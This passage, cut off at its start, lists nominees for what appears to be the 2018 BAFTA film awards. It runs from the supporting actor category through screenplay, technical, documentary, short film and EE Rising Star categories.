Sam Rockwell, Three Billboards Outside Ebbing, Missouri
Willem Dafoe, The Florida Project
Woody Harrelson, Three Billboards Outside Ebbing, Missouri

Best Original Screenplay
Get Out
I, Tonya
Lady Bird
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Adapted Screenplay
Call Me by Your Name
The Death of Stalin
Film Stars Don’t Die in Liverpool
Molly’s Game
Paddington 2

Outstanding Debut by a British Writer, Director or Producer
The Ghoul – Gareth Tunley (writer/director/producer), Jack Healy Guttman & Tom Meeten (producers)
I Am Not a Witch – Rungano Nyoni (writer/director), Emily Morgan (Producer)
Jawbone – Johnny Harris (writer/producer), Thomas Napper (director)
Kingdom of Us – Lucy Cohen (director)
Lady Macbeth – Alice Birch (writer), William Oldroyd (director), Fodhla Cronin O’Reilly (producer)

Best Film Not in the English Language
Elle
First They Killed My Father
The Handmaiden
Loveless
The Salesman

Best Documentary
City of Ghosts
I Am Not Your Negro
Icarus
An Inconvenient Sequel
Jane

Best Animated Film
Coco
Loving Vincent
My Life as a Courgette

Best Original Music
Blade Runner 2049
Darkest Hour
Dunkirk
Phantom Thread
The Shape of Water

Best Cinematography
Blade Runner 2049
Darkest Hour
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Editing
Baby Driver
Blade Runner 2049
Dunkirk
The Shape of Water
Three Billboards Outside Ebbing, Missouri

Best Production Design
Beauty and the Beast
Blade Runner 2049
Darkest Hour
Dunkirk
The Shape of Water

Best Costume Design
Beauty and the Beast
Darkest Hour
I, Tonya
Phantom Thread
The Shape of Water

Best Make Up & Hair
Blade Runner 2049
Darkest Hour
I, Tonya
Victoria & Abdul
Wonder

Best Sound
Baby Driver
Blade Runner 2049
Dunkirk
The Shape of Water
Star Wars: The Last Jedi

Best Special Visual Effects
Blade Runner 2049
Dunkirk
The Shape of Water
Star Wars: The Last Jedi
War for the Planet of the Apes

Best British Short Animation
Have Heart
Mamoon
Poles Apart

Best British Short Film
Aamir
Cowboy Dave
A Drowning Man
Work
Wren Boys

EE Rising Star award (voted for by the public)
Daniel Kaluuya
Florence Pugh
Josh O’Connor
Tessa Thompson
Timothée Chalamet

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